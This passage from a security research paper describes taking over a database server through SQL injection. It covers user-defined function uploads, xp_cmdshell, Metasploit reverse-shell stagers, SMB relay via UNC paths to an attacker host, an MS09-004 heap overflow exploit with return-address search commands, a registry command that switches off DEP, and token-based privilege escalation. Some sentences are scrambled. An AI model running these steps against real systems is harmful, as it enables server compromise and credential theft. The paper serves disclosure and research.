A guide to create a MySQL compliant user-defined function in C can be found on the MySQL reference manual[41]. I found also useful Roland Bouman&#8217;s step by step blog post[75] on how to compile the shared library on Windows with Microsoft Visual C++.<br />
The shared library size on Windows is 9216 bytes and on Linux it is 12896 bytes.<br />
The smaller the shared library is, the quicker it is uploaded via SQL injection. To make it as small as possible the attacker can compile it with the optimization setting enabled and, once compiled, it is possible to reduce the dynamic-link library size by using a portable executable packer like UPX[17] on Windows.The shared object size can be reduced by discarding all symbols with strip command on Linux. The resulting binary file size on Windows is 6656 bytes and on Linux it is 5476 bytes: respectively 27.8% and 57.54% less than the initial compiled shared library.</p>
<p>It is interesting to note that a MySQL shared library compiled with MySQL 6.0 development libraries is backward compatible with all the other MySQL versions, so by compiling one, that same binary file can be reused on any MySQL server version on the same architecture and operating system.</p>
<p>7.1.2 SQL injection to command execution<br />
The session user must have the following privileges: FILE and INSERT on mysql database, write access on one of the shared library paths and the privileges needed to write a file, refer to section 5.1.<br />
The steps are:</p>
<p>•Via blind or UNION query are:</p>
<p>Fingerprint the MySQL version for two reasons:</p>
<p>Choose the SQL statement to test for batched queries support as explained on section 3.1;</p>
<p>Identify a valid shared libraries absolute file path as explained in the next paragraph.<br />
Check if sys_exec() and sys_eval() functions already exist to avoid unwanted data overwriting.<br />
• Test for batched queries support;<br />
• Via batched queries:<br />
• Upload the shared library to an absolute file system path where the MySQL server looks for them as described below;<br />
• Create[51] the two user-defined functions from the shared library;<br />
• Execute the arbitrary command via either sys_exec() or sys_eval().<br />
Depending on the MySQL version, the shared library must be placed in different file system paths:</p>
<p>• On MySQL 4.1 versions below4.1.25, MySQL 5.0 versions below 5.0.67 and MySQL 5.1 versions below  5.1.19 the shared library must be located in a directory that is searched by your system&#8217;s dynamic linker:</p>
<p>•on Windows the shared object can be uploaded to either C:\WINDOWS, C:\WINDOWS\system, C:\WINDOWS\system32, @@basedir\bin or to @@datadir14 . On Linux and UNIX systems the dynamic-link library can be placed on either /lib, /usr/lib or any of the paths specified in /etc/ld.so.conf file 15;</p>
<p>•MySQL 5.1 version 5.1.19[39] enforced the expected behavior of the system variable plugin_dir[40] which specifies one absolute file system path where the shared library must be located16 . The same applies for all versions of MySQL 6.0[52].<br />
From MySQL 5.1[51] and MySQL 6.0[52] manuals:<br />
CREATE [AGGREGATE] FUNCTION function_name RETURNSn{STRING|INTEGER|REAL|DECIMAL} SONAME shared_library_name<br />
[...]shared_library_name is the basename of the shared object file that contains the code that implements the function.The file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable .</p>
<p>•MySQL 4.1 version 4.1.25[35] and MySQL 5.0 version 5.0.67[38] also introduced the system variable plugin_dir:<br />
by default it is empty and the same behavior of previous MySQL versions is applied.<br />
From MySQL 5.0 manual[37]:<br />
[...] As of MySQL 5.0.67, the file must be located in the plugin diplugin_dir rectory. This directory is given by the value of the system variable. If the value of plugin_dir is empty, the behavior that is used before 5.0.67 applies: The file must be located in a directory that is searched by your system&#8217;s dynamic linker .</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
14 On Windows, MySQL runs as Local System (SYSTEM) user which by default is high privileged and can read and write files to all of the valid shared library paths.<br />
15 On recent versions of Linux and UNIX systems, MySQL runs as mysql user. By default none of the valid shared library paths are writable by this user.<br />
16 By default this variable value is set to &lt;MySQL installation path&gt;/lib/plugin and the plugin/subfolder does not exist: the server administrator must have previously created it, otherwise the attacker will not be able to upload the binary file in such folder and consequently no command execution will be possible.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>7.2 PostgreSQL<br />
7.2.1 Shared library creation<br />
On PostgreSQL, arbitrary command execution can be achieved in three ways:<br />
• Taking advantage of libc built-in system() function: Nico Leidecker described this technique in his paper Having Fun With PostgreSQL[55, 56];<br />
• Creating a proper Procedural Language Function[71]: Daniele Bellucci described[59] the steps to go through to do that by using PL/Perl and PL/Python languages;<br />
• Creating a C-Language Function[72] (UDF): David Litchfield described this technique in his book The Database Hacker&#8217;s Handbook, chapter 25 titled PostgreSQL: Discovery and Attack. The sample code is freely available from the book homepage[11].</p>
<p>All of these methods have at least one limitation that make them useless on recent PostgreSQL server installations:<br />
•<br />
The first method only works until PostgreSQL version 8.1 and returns the command exit status, not the command standard output. Since PostgreSQL version 8.2-devel all shared libraries must include a magic block.<br />
From PostgreSQL 8.3 manual[72]:<br />
&#8220;A magic block is required as of PostgreSQL 8.2.To include a magic block, write this in one (and only one) of the module source files, after having included the headerfmgr.h :<br />
#ifdef PG_MODULE_MAGIC<br />
PG_MODULE_MAGIC;<br />
#endif<br />
The #ifdef test can be omitted if the code doesn&#8217;t need to compile against pre-8.2 PostgreSQL releases.&#8221;</p>
<p>• The second method only works if PostgreSQL server has been compiled with support for one of the procedural languages. By default they are not available, at least on most Linux distributions and Windows;<br />
• The third method works until PostgreSQL version 8.1 for the same reason of the first method and it has the same behavior: no command standard output.<br />
Anyway, it can be patched to include the magic block and make it work properly; also on PostgreSQL versions above 8.1.</p>
<p>I ported the C source code of the MySQL shared library described above to PostgreSQL and created a shared library called lib_postgresqludf_sys  with two C Language Function. The source code is available on sqlmap subversion repository[5].<br />
The shared library size on Windows is 8192 bytes and on Linux it is 8567 bytes.<br />
The smallest the shared library is, the quickest it is uploaded via SQL injection. To make it as small as possible the attacker can compile it with the optimization setting enabled and, once compiled, it is possible to reduce the dynamic-link library size by using a portable executable packer like UPC[17] on Windows and the shared object size by discarding all symbols with strip command on Linux. The resulting binary file size on Windows is 6144 bytes and on Linux it is 5476 bytes: respectively 25% and 36.1% less than the initial compiled shared library. The shared library compiled with PostgreSQL 8.3 development libraries is not backward compatible with any other PostgreSQL version: the shared library must be compiled with the same PostgreSQL development libraries version where you want to use it. 7.2.2 SQL injection to command execution The session user must be a super user.<br />
The steps are:<br />
• Via blind or UNION query:<br />
• Fingerprint the PostgreSQL version in order to choose the SQL statement to test for batched queries support as explained on section 3.2;<br />
• Check if sys_exec() and sys_eval() functions already exist to avoid unwanted data overwriting.<br />
• Test for batched queries support;<br />
• Via batched queries:<br />
Upload the shared library to an absolute file system path where the user running PostgreSQL has read and write access17 , this can be /tmp on Linux and UNIX systems and  C:\WINDOWS\Temp on Windows;<br />
• Create[68] the two user-defined functions from the shared library18 ;<br />
• Execute the arbitrary command via either sys_exec() or sys_eval().<br />
It is interesting to note that PostgreSQL is more flexible than MySQL and allows to<br />
specify the absolute path where the shared library is.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
17 On both Linux and Windows, PostgreSQL runs the unprivileged user postgresql.<br />
18 On Windows the postgres user has read and write access on &lt;PostgreSQL installation<br />
path&gt;/data. The shared library can be created in this path by not specifying any path when<br />
using lo_export() as explained in section 5.2. That said, when the UDF is created from the<br />
shared library, the absolute path can be omitted.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>8 Stored procedure</p>
<p>Wikipedia defines Stored Procedure as follows:<br />
&#8220;A stored procedure is a subroutine available to applications accessing a relational database system. Stored procedures are actually stored in the database data dictionary.<br />
[...] Stored procedures are similar to user-defined functions. The major difference is that UDFs can be used like any other expression within SQL statements, whereas stored procedures must be invoked using the CALL statement or EXECUTE statement.&#8221;</p>
<p>On modern database management system it is possible to create stored procedures to execute complex tasks. Some DBMS have also built-in procedures, Microsoft SQL Server and Oracle for instance. Usually stored procedures make deep use of the DBMS specific dialect: respectively Transact-SQL and PL/SQL.</p>
<p>8.1 Microsoft SQL Server<br />
8.1.1 xp_cmdshell procedure<br />
Microsoft SQL Server has a built-in extended stored procedure to execute commands and return their standard output on the underlying operating system: xp_cmdshell()[29,30, 31].<br />
This stored procedure is enabled by default on Microsoft SQL Server 2000, whereas on Microsoft SQL Server 2005 and 2008 it exists but it is disabled by default: it can be re-enabled by the attacker remotely if the session user is a member of the sysadmin server role.On Microsoft SQL Server 2000, the sp_addextendedproc stored procedure can be used whereas on Microsoft SQL Server 2005 and 2008, the sp_configure stored procedure can be used.<br />
If the procedure re-enabling fails, the attacker can create a new procedure from scratch using shell object if the session user has the required privileges. This technique has been illustrated numerous times and can be still used if the session user is high privileged[2].<br />
On all Microsoft SQL Server versions, this procedure can be executed only by users with the sysadmin server role. On Microsoft SQL Server 2005 and 2008 also users specified as proxy account can run this procedure.</p>
<p>8.1.2 SQL injection to command execution</p>
<p>The session user must have CONTROL SERVER permission.</p>
<p>The first thing to do is to check if xp_cmdshell() extended procedure exists and is enabled: re-enable it if it is disabled and create it from scratch if the creation fails.<br />
If the attacker wants the command standard output:<br />
• Create a support table with one field, data-type text;<br />
• Execute the command via xp_cmdshell() procedure redirecting its standard output to a temporary file;</p>
<p>• Use BULK INSERT statement to load the content of the temporary file as a single entry into the support table;<br />
• Remove the temporary file via xp_cmdshell();<br />
• Retrieve the content of the support table&#8217;s entry;<br />
• Delete the content of support table.<br />
Otherwise:<br />
• Execute the command via xp_cmdshell()</p>
<p>Part IV Out-of-band connection<br />
In the previous chapter I discussed two techniques to execute commands on the underlying operating system: UDF injection and stored procedure use.<br />
In this chapter I discuss how to establish an out-of-band connection between the attacker host and the database server by exploiting a SQL injection flaw in a web application. Once the attack is successful, a command prompt or a graphical user interface full-duplex TCP connection is established between the two endpoints.</p>
<p>This is possible in practice by integrating the Metasploit Framework[76] in sqlmap[4]<br />
and requires both back-end DBMS underlying file system access and inband command execution, both explained previously.</p>
<p>From the Metasploit project site:</p>
<p>&#8220;The Metasploit Framework is a development platform for creating security tools and exploits. [...] The framework consists of tools, libraries,modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload.&#8221;</p>
<p>9 Stand-alone payload stager<br />
An out-of-band connection between the attacker and the database server can be achieved by forging a stand-alone payload 19 stager20 , based on the user&#8217;s options with  Metasploit&#8217;s<br />
msfpayload tool. Then it is necessary to encode 21 it with Metasploit&#8217;s msfencode tool, to bypass antivirus softwares, upload it via SQL injection to the file system temporary folder and execute it.</p>
<p>Depending on the user&#8217;s options, the stager will bind and listen on a TCP port on the database server waiting for an incoming connection or it will connect back to a TCP port on the attacker host.Either bind or reverse connection, Metasploit&#8217;s msfcli22 tool has to be executed on the attacker host before the payload stager is executed on the database server: the Metasploit&#8217;s multi-handler exploit 23 exploits/multi/handler.rb[78],is used on the attacker endpoint.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
19 The payload is the arbitrary code (shellcode) that is executed on the target system after a successful exploit attempt or after the execution of the stager. Payloads can be either command strings or raw instructions. They typically build a communication channel between Metasploit and the target host.<br />
20 A stager payload is an implementation of a payload that establishes some communication channel with the attacker to read in or otherwise obtain a second stage payload to execute. For example, a stager might connection back to the attacker on a defined port and read in code to execute.<br />
21 An encoder is used to generate transformed versions of raw payloads in a way that allows them to be restored to their original form at execution time and then subsequently executed.<br />
22 msfcli is the Metasploit Command Line Interface. This interface takes a Metasploit module name as the first parameter, followed by the options in a VAR=VAL format, and finally an action code to specify what should be done.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>9.1 Payload stager options<br />
Metasploit has numerous payloads for several operating systems and architectures.sqlmap asks the attacker for:<br />
• Connection type, it can be bind or reverse:<br />
• Back-end DBMS server address if different from the web server address in case of bind connection.<br />
• TCP port to listen on the attacker host in case of reverse connection or on the<br />
database server in case of bind connection;<br />
• Multistage payload to use among:<br />
shell 24 if the back-end DBMS underlying operating system is either Windows or Linux;<br />
meterpreter 25 if the back-end DBMS underlying operating system is Windows[21];<br />
vnc 26 if the back-end DBMS underlying operating system.<br />
• Algorithm to encode the payload: at the time of writing Metasploit supports twelve different encoders.<br />
Based on the user&#8217;s options, sqlmap creates the payload stager, encodes it and packs it with UPX[17]: an executable payload originally 9728 bytes is resized to 2560 bytes and consequently quicker to upload via SQL injection. The payload executables generated by Metasploit Framework 3 automatically handles and bypasses operating system memory protections:<br />
•  The ELF payload stager for Linux has the shellcode that resides in a memory zone already marked as executable so that no memory protection bypass is needed;<br />
• On Windows, the Data Execution Prevention, described on paragraph 11.2, is bypassed by allocating the memory page as readable, writable and executable before copying the shellcode on it and executing it.This is defined on the Metasploit&#8217;s template file used to generate the portable executable payload stager.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
23 The multi/handler exploit is a stub that provides all of the features of the Metasploit payload system to exploits or stand-alone payload stagers that have been launched outside of the Metasploit Framework.<br />
24 The shell payload spawns a piped command shell, on Linux usually it is bash and on Windows it is the command prompt cmd.<br />
25 The Meterpreter is an advanced multi-function payload that can be dynamically extended at run-time. In normal terms, this means that it provides you with a basic shell and allows you to add new features to it as needed.<br />
26 The VNC server payload allows the attacker to access the desktop of the database server if the Administrator is logged in.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>9.2 Session<br />
After the payload stager is created, it is uploaded, as explained on page 10, via batched queries SQL injection technique to an absolute file system path on the database server where the user running the back-end DBMS process has read and write access:<br />
/tmp on Linux and UNIX systems and C:\WINDOWS\Temp on Windows.<br />
The payload stager upload requires six HTTP requests on Microsoft SQL Server,nine on MySQL and twelve on PostgreSQL.</p>
<p>At this point Metasploit&#8217;s msfcli tool is executed on the attacker host using the multihandler exploit with the user&#8217;s options provided to create the payload stager: this requires some time because msfcli tool loads in memory all the Metasploit modules.<br />
The payload stager is then executed on the database server via sys_exec() function on MySQL and PostgreSQL or via xp_cmdshell() onMicrosoft SQL Server and the full-duplex out-of-band connection is established.</p>
<p>The control of the connection is now passed to the multi-handler exploit which,depending on the payload chosen, sends the intermediate stager and the DLL (for Meterpreter and VNC) to the database server endpoint before initializing the session.<br />
Over this connection, the attacker interacts with the database server underlying operating system, being it a terminal, a Meterpreter console or a VNC graphical user interface.<br />
It is important to note that the payload stager is executed on the database server with the privileges of the user running the back-end DBMS server process.However, under certain circumstances on Windows, it is possible to perform a privilege escalation to SYSTEM<br />
as explained on page 32.</p>
<p>10 SMB relay attack</p>
<p>The SMB authentication relay attack was researched in 1996 by Dominique Brezinski and explained in his paper titled A Weakness inCIFS Authentication [12] presented at Black Hat USA 1997.<br />
The first public tool to implement this attack, SMBRelay2[18], was released by Josh Buchbinder during @tlanta convention on March 31,2001.<br />
This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim&#8217;s own credentials, this attack is also known as SMB credential reflection.<br />
H D Moore well explained on Metasploit blog[15] how the exploit works:<br />
&#8220;The Metasploit module takes over the established, authenticated SMB session, disconnects the client, and uses the session to upload and execute shellcode in a manner similar to how psexec.exe operates. First, a Windows executable is created that acts like a valid Windows service and executes the specified Metasploit payload. This payload is then uploaded to the root of the ADMIN$ share of the victim. Once the payload has been uploaded, the Service Control Manager is accessed over DCERPC (using a named pipe over SMB) and used to create a new service (pointing at the uploaded executable) and then start it.This service creates a new suspended process, injects the shellcode into it, resumes the process, and shuts itself down. The module then deletes the created service. At this point, the attacker has a remote shell (or other payload session) on the victim.&#8221;</p>
<p>It is unlikely that this attack will be successful over the Internet because usually firewalls filter incoming connections on SMB specific ports: 139/TCP and 445/TCP,but within local area networks they usually do not. Other requirements for the SMB reflection attack to be successful are that the victim&#8217;s user must have administrative privileges and that the system must be configured to allow remote network logins.<br />
On November 11, 2008, twelve years after the vulnerability was publicly disclosed,Microsoft released security bulletin MS08-068[24] (CVE-2008-4037).This bulletin includes a patch which prevents the relaying of challenge keys back to the same host which issued them: if a Windows server has this patch applied, the exploitation of this flaw does not work.</p>
<p>10.1 Universal Naming Convention</p>
<p>The Universal Naming Convention (UNC) specifies a common syntax to describe the location of a network resource, such as a shared file, directory, or printer.<br />
An example of UNC path for Windows systems is as follows:<br />
\\AttackerAddress\ExamplePath\Filename.txt<br />
This syntax allows a Windows client to access the path \ExamplePath\Filename.txt on the AttackerAddress via SMB.</p>
<p>If AttackerAddress denies access to anonymous user (NULL session), the client automatically authenticates using the username of the logged-in user, domain, and his hashed password encrypted with the server-supplied challenge key.</p>
<p>10.2 Abuse UNC path requests<br />
The UNC path request syntax can be abused to perform a SMB relay attack via SQL injection if the underlying operating system is Windows.<br />
By executing Metasploit&#8217;s SMB relay exploit, exploits/windows/smb/smb_relay.rb[77],on the attacker host and forcing the database server to access the attacker&#8217;s fake SMB service, it can be possible to exploit the design flaw by performing the SMB reflection<br />
attack.<br />
Also with this exploit, the attacker has a variety of options to choose to forge the<br />
payload, but in this case the payload will be sent directly from the SMB relay exploit<br />
after a successful exploitation of the SMB design flaw.<br />
10.2.1 MySQL<br />
On MySQL it is possible to request a resource and initiate a SMB session via UNC<br />
path request through either batched query or UNION query SQL injection.<br />
The SQL statement is as follows:<br />
SELECT LOAD_FILE(&#8216;\\\\AttackerAddress\\foobar.txt&#8217;)<br />
The session user must have the FILE privilege.</p>
<p>However it is unlikely that this attack will be successful because by default MySQL on Windows runs as Local System which is not a real user, it does not send the<br />
NTLM session hash when connecting to a SMB service.If MySQL database is started as Administrator, this attack can be successful.</p>
<p>10.2.2 PostgreSQL</p>
<p>The SQL statements to perform a reverse UNC path request to the attacker host via batched queries SQL injection is as follows:<br />
CREATE TABLE footable(foocolumn text);<br />
COPY footable(foocolumn) FROM &#8216;\\\\AttackerAddress\\foobar.txt&#8217;<br />
The session user must be a super user.<br />
However it is unlikely that this attack will be successful because by default PostgreSQL on Windows runs as postgres user which is a real user of the system, but not within the Administrators group.</p>
<p>10.2.3 Microsoft SQL Server</p>
<p>A possible SQL statement to perform a reverse UNC path request to the attacker host via batched queries SQL injection is as follows:<br />
EXEC master..xp_dirtree &#8216;\\AttackerAddress\foobar.txt&#8217;<br />
The session user needs to have EXECUTE privileges on the extended stored procedure, which all database users have by default.<br />
By default Microsoft SQL Server 2000 runs as Administrator, consequently this attack shall be successful whereas on Microsoft SQL Server 2005 and 2008 it is unlikely that this attack will be successful because it runs usually as Network Service which is not a real user, it does not send the NTLM session hash when connecting to a SMB service.</p>
<p>11 Stored procedure buffer overflow</p>
<p>On December 4, 2008, Bernhard Mueller from SEC Consult Vulnerability Lab released an advisory titled Microsoft SQL Server sp_replwritetovarbin limited memory overwrite vulnerability [6].<br />
It is an heap-based buffer overflow on Microsoft SQL Server 2000 Service Pack 4 and earlier patch levels and Microsoft SQL Server 2005 Service Pack 2 and earlier patch levels. A successful exploitation of this security flaw allows an authenticated database users to cause a denial of service (Access Violation Exception) or to execute arbitrary code on the underlying operating system.<br />
It is possible to exploit this vulnerability by calling the vulnerable Microsoft SQL Server stored procedure,sp_replwritetovarbin,with a set of invalid parameters that trigger a memory overwrite condition to a location controlled by the attacker.</p>
<p>At the time of writing this paper, no public exploit is available for this vulnerability except for a proof of concept[14] released by Guido Landi that exploits the vulnerability specifically on Microsoft SQL Server 2000 running on Windows 2000Service Pack 4.<br />
Two commercial exploits are available on two different commercial exploitation frameworks: on Immunity Canvas[16], the exploit is a one-shot only exploit and it seems to be written to work only through a direct connection to the database server and on Core Impact[10].<br />
One interesting thing about this heap-based buffer overflow vulnerability is that it is possible to trigger the bug through a SQL injection also, moreover the session user does not need any administrative access on the DBMS: he needs to have EXECUTE privilege on the extended stored procedure, which all database users have by default.<br />
On February 10, 2009 Microsoft released security bulletin MS09-004[25] (CVE-2008-5416). This bulletin addresses this security flaw: if a Windows server has this patch applied, the exploitation of this issue does not work.</p>
<p>11.1 Exploit</p>
<p>Guido Landi decided to release a reliable stand-alone exploit for this vulnerability with the publication of this white paper. I added support to the exploit for multimsfpayload stage payload generated by Metasploit&#8217;s and integrated it in sqlmap[4] to be able to exploit the vulnerability also via SQL injection.<br />
Guido also explains his exploit as follows.<br />
It could be pretty hard to achieve arbitrary code execution through heap-based buffer overflow vulnerabilities if the attacker intent is to exploit the system routines that manage the heap memory. Nevertheless, in this exploit we are going to use the buffer overflow to overwrite a function pointer thus achieving arbitrary code execution.<br />
When the vulnerable stored procedure is called with a set of invalid parameters a first exception is raised by the processor:<br />
MOV DWORD PTR DS:[EAX+4],EDI<br />
Both the EAX and the EDI registers are attacker-controlled: the former comes directly from our buffer, the latter is related to the buffer length. Even if this is an (almost) arbitrary memory overwrite, it could be hard to use this to achieve code execution. Actually this exception and the others that follow will be handled fairly by the Microsoft SQL Server process through the installed Windows Structured Exception Handling (SEH) mechanism. That allows us to simply skip some exceptions until we found one that will bring we to divert the execution flow.<br />
After a sequence of exceptions the program reaches the following code:</p>
<p>010B0F5A . 8B42 10 MOV EAX,DWORD PTR DS:[EDX+10]<br />
010B0F5D FFD0 CALL EAX</p>
<p>The memory pointed by EDX+0&#215;10 will be deferenced and moved to EAX then EAX will be called. Since the EDX register comes directly from our buffer, we can redirect the execution flow toward an arbitrary location, actually we will use this instruction to achieve code execution.<br />
The first problem to solve is the value we want EDX to hold: since ESI and ECX registers point to our buffer where we reach that code, we want one of those being called. To do so we need to find a fixed address that holds another fixed address that points to a series of instructions that will redirect the execution flow to our buffer, some useful instructions could be:<br />
&#8220;call ESI&#8221;<br />
&#8220;call ECX&#8221;<br />
&#8220;push ESI&#8221; and &#8220;RET&#8221;<br />
&#8220;push ECX&#8221; and &#8220;RET&#8221;</p>
<p>The second problem is that both ECX and EDI registers point to our buffer where the address we want to be in EDX lies. We must be sure that this address can be interpreted as a series of instructions without raising any exception, otherwise the process will crash and our shellcode will not be executed.<br />
The third problem is related to the repeatability of the exploit, we want it to be multiple shot, consequently allowing the attacker to launch it multiple times without crashing the Microsoft SQL Server process.<br />
Finding the right return address is often a matter of time and requires to look up some DLLs for the instructions we need: either manually with a debugger or with the Metasploit&#8217;s msfpescan 27 tool. Often it is a good idea to search for the return address in an executable module included by the program itself, but in this case due to the fact that different versions of the Microsoft SQL server exist, you better use an address contained in one system&#8217;s DLL. It is not that easy because of the level of indirection brought by the MOV instruction that deference the EDX pointer. We can use a little script with msfpescan that first search for the instruction we need and then for an address that holds a pointer to the instructions found:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
27 Metasploit&#8217;s msfpescan can be used to analyze and disassemble executables and DLLs, which helps to find the correct offsets and addresses during the stage of exploitation and privilege escalation.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>for i in $(./msfpescan -j ESI,ECX shell32.dll | grep 0x | sed -e &#8216;s/0x//&#8217; | awk &#8216;{print $1}&#8217; | perl -e &#8216;while(&lt;&gt;) { chop; @a=($_=~/.{2}/gm); print &#8220;\\x&#8221;,join(&#8220;\\x&#8221;,reverse(@a)), &#8220;\n&#8221;; }&#8217;); do ./msfpescan  r &#8220;$i&#8221; shell32.dll | grep 0x ; done</p>
<p>This will search the instructions needed to  &#8220;land&#8221; in our buffer in shell32.dll and a pointer to one of those instructions in shell32.dll.It is also possible to specify different DLL. This was done for the return address used to target Windows 2003 Service Pack 2: the instructions lie in  kernel32.dll and we found a pointer to them in ntdll.dll.</p>
<p>Since the address must also be interpreted and executed as a set of assembly instructions, we must check if those instructions can be executed without crashing the program. The third address for instance is fine for us because interpreted as instructions turns out to be:</p>
<p>DCE1 FSUBR ST(1),ST<br />
F8 CLC<br />
7C 01 JL 0&#215;1</p>
<p>These instructions will be executed and will bring us to our shellcode.<br />
The second problem, repeatability, it is solved by appending at the end of our shellcode a little stub of instructions that will restore the stack to the original state using some &#8220;POP&#8221; instructions and will then return exactly where we diverted the execution flow with a &#8220;RET&#8221; instruction. Further exceptions will be handled by the SEH mechanism installed by the program and the Microsoft SQL Server process will continue to run correctly.</p>
<p>11.2 Memory protection</p>
<p>Data Execution Prevention (DEP) is a security feature that prevents code execution in memory pages not marked as executable<br />
From Microsoft Help and Support site[26]:<br />
&#8220;DEP configuration for the system is controlled through switches in the boot.ini file. If you are logged on as an administrator, you can now easily configure DEP settings by using the System dialog box in Control Panel.<br />
Windows supports four system-wide configurations for both hardware-enforced and software-enforced DEP.&#8221;<br />
Data Execution Prevention possible settings are:<br />
• OptIn:only Windows system binaries are covered by DEP by default;<br />
• OptOut:DEP is enabled by default for all processes, exceptions are allowed;<br />
• AlwaysOn: all processes always run with DEP applied, no exceptions allowed;<br />
• AlwaysOff : no DEP coverage for any part of the system.</p>
<p>Data Execution Prevention exists from the following Windows service packs:</p>
<p>• Windows XP Service Pack 2: default value is OptIn;<br />
• Windows Server 2003 Service Pack 1: default value is OptOut[28];<br />
• Windows Vista Service Pack 0: default value is OptIn;<br />
• Windows 2008 Service Pack 0: default value is OptOut.</p>
<p>Note that it does not exist on Windows 2000 and on any previous Windows version.</p>
<p>11.3 Bypass DEP</p>
<p>Over the years different methods to bypass this security mechanism have been developed and publicly released. Actually they are all based on the possibility to control at least some pointers on the stack and to chain at least two function calls after the vulnerability has been triggered.<br />
The first, or the first set, of function calls are used to disable DEP for the current process or to mark a specific memory page as executable using VirtualProtect /VirtualAlloc or to copy the shellcode to a memory page already marked as executable, the second call is the one that will redirect the execution flow to the injected shellcode.<br />
The vulnerability in exam, MS09-004, is an heap-based buffer overflow that does not permit to directly control data on the stack and so it seems not possible to chain multiple calls together. Even if we could use some execution paths, this could lead to almost arbitrary overwrites to create fake stack frames, being the Microsoft SQL Server stack highly unstable, that possibility seems to be only theoretical.If DEP is set to OptOut or to AlwaysOn,the exploit will fail because the process will raise an access violation exception when it tries to execute code from the non executable memory space where the shellcode resides.<br />
A possible way to get around Data Execution Prevention when it is set to OptOut,via SQL injection, is to add an exception for the Microsoft SQL Server executable,sqlservr.exe, in the Windows registry then restart the database process and launchthe exploit.<br />
The steps are:</p>
<p>Create a bat file which executes the Windows reg executable to add in the Windows registry an exception for Microsoft SQL Server executable, sqlservr.exe:</p>
<p>REG ADD &#8220;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\Layers&#8221; /v &#8220;C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe&#8221; /t REG_SZ /d DisableNXShowUI /f</p>
<p>Create a bat file which executes the Windows  sc  executable to restart the  Microsoft SQL Server service;</p>
<p>Via batched queries:</p>
<p>Upload the bat files to the Windows temporary files directory;<br />
Execute the bat file to add the key name in the registry;Execute the other bat file to restart the Microsoft SQL Server service;Wait a few seconds for the Microsoft SQL Server service to restart;<br />
Trigger the vulnerability.</p>
<p>Part V Privilege escalation<br />
Metasploit&#8217;s Meterpreter comes with an built-in extension that provides the attacker with Windows Access Token Delegation and Impersonation abuse support:incognito[19]developed by Luke Jennings.<br />
This extension allows an attacker, among other features, to enumerate the Delegation Impersonation tokens associated with the current user and to impersonate a spe-Administrator or Local System if the corresponding token handler is within the same thread of the process where meterpreter is running into; incognito does not support token and cific token if the user has any: this leads to a privilege escalation to handles brute-forcing.<br />
Another way to perform a privilege escalation by abusing the Windows Access Token Delegation and Impersonation mechanism consists in using Churrasco.exe[8,9].<br />
Churrasco.exe is a stand-alone command-line Windows executable developed by Cesar Cerrudo which aim is to perform Windows Access Token Kidnapping[7]. This program takes as argument the name of the executable to run: it brute-forces the token handles in the current process from where it is called (e.g. MySQL or Microsoft SQL Server) and it runs the provided command with the brute-forced SYSTEM token,if the process&#8217; user has tokens: this is a privilege escalation because the provided command will run with higher privileges of the database process.<br />
Churrasco.exe can be uploaded to the database server file system and used in the context of the out-of-band connection attack (Part IV) to execute the Metasploit SYSTEM. This Network Service: Microsoft payload stager as can be achieved when the database process runs as SQL Server 2005 and Microsoft SQL Server 2008 often run with this user which has, by design, both tokens.</p>
<p>Part VI Conclusion<br />
This paper explained how to exploit a single vulnerability in a web application at its best to get complete control of the server that runs the database, not only the data stored in the database as usually intended:the SQL injection itself can be considered as a stepping stone to the actual target for this research, which is the complete control of its server: operating system access, file system access and use of the compromised database server as a foothold in the internal network.</p>
<p>All the techniques described in this paper have been implemented in sqlmap[4].sqlmap is an open source automatic SQL injection tool developed in Python by the author of this paper. It can be downloaded from its SourceForge File List page.</p>
<p>12 Acknowledgments</p>
<p>The author thanks Sheherazade Lana for her kindness, Guido Landi for Microsoft SQL Server buffer overflow exploit development and for describing in detail his exploit in this paper, Alessandro Tanasi for technical discussions and constant support,Alberto Revelli for his help on how to best integrate Metasploit in sqlmap, Simone Assumpção and Martin Callingham for peer reviewing this paper and the Black Hat team for the opportunity to present this research at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam.</p>
<p>References</p>
<p>[1] Alessandro Tanasi: SQLi: Writing files to disk under PostgreSQL. December 21, 2008.<br />
[2] Antonin Foller: Custom xp_cmdshell, using shell object.<br />
[3] Bernardo Damele Assumpção Guimarães: Debug scripts from binaries. January 12, 2009.<br />
[4] Bernardo Damele Assumpção Guimarães: sqlmap: automatic SQL injection tool.<br />
[5] Bernardo Damele Assumpção Guimarães: sqlmap subversion repository.<br />
[6] Bernhard Mueller: Microsoft SQL Server sp_replwritetovarbin limited memory<br />
overwrite vulnerability. December 4, 2008.<br />
[7] Cesar Cerrudo: Token Kidnapping<br />
[8] Cesar Cerrudo: Windows 2003 proof of concept exploit for token kidnapping.<br />
[9] Cesar Cerrudo: Windows 2008 proof of concept exploit for token kidnapping.<br />
[10] Core Security Technologies: Microsoft SQL Server sp_replwritetovarbin Remote Heap Overflow Exploit. February 2, 2008.<br />
[11] David Litchfield and others: The Database Hacker&#8217;s Handbook sample codes.<br />
